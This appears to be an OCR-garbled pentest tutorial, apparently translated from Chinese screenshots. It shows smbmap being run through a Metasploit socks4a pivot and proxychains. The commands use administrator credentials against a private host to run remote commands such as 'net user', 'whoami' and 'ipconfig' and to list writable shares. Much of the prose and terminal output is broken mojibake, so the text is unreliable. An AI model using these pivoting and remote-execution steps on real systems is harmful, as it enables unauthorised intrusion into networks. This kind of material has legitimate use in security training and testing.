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InBE#bt : https://github.com/ShawnDEvans/smbmap
o HHEBIGHE
o 4 EfE/TE/MIBR
o OKE (ABEHE , BiEMetasploit)
o ImFEMITHUT
o THERHARBER
o TRIHBIE (FTLABShTE: )

o  msfAEESmbmaptiEE(FEHZEsock4at&Eir

| msf auxiliary(server/socks4a) > show options

msf suxiliary(server/socksda) = show optilons
Module options {auxiliary/server/socksdal:
Mame current Setting Required Description
The address to listen on
SEVPORT 1080 YEes The port to listen on.

fuxiliary action:

Mame  Description

Froxy

o ZiERsocks4afil\job

I msf auxiliary(server/socks4a) > jobs
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;IW jobs

MName ayload Payla
buxiliary: servers

msf auxiliary (server/socksda) =

EoEproxychains , SRR,

root :/tmp# cat /etc/proxychains.conf

chains.conf

S5 tunneling proxifier with DMS,

woR W R

ThE option below identifies how the Pro: st 1s treated.
¥ one option should be uncommented at time,
otherwise the last appearing option will be accepted

s W W

#dv”dmlt chain

Dynamic - Each connection will be done vwia chained proxies
all pr chained in the order as they appear in the list
dt 1Fd t must be online to play in chain

Bs ipped]
chFrwl 1] EINTF iz returned to the app

ict chain

o oW R R R R W
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o UFEIEARS
root :/tmp# proxychains smbmap -u administrator -p 123456 -d wordk
group -H 192.168.1.115 -x 'net user'



rootgJohn: p# p}u. h : 55 -d wordkgroup “H 182,186
ProxyChal 1 (http

rootglohn: /tmpe JJ

root :/tmp# proxychains smbmap -u administrator -p 123456 -d wordk
group -H 192.168.1.115 -x ‘'whoami’

% 'whoami'

o HEBEIHE

root :/tmp# proxychains smbmap -u administrator -p 123456 -d wordk
group -H 192.168.1.115 -d ABC

WRITE
. WRITE
rootgJohn

root :/tmp# proxychains smbmap -u administrator -p 123456 -d wordk
group -H 192.168.1.115 -x 'ipconfig'

mpg p i I RE 56 -d wordkgroup -H 1
Proxyc 5-3.1 thttp://
[+] Finding open
[+] Uzer g

Windows IP Configuration
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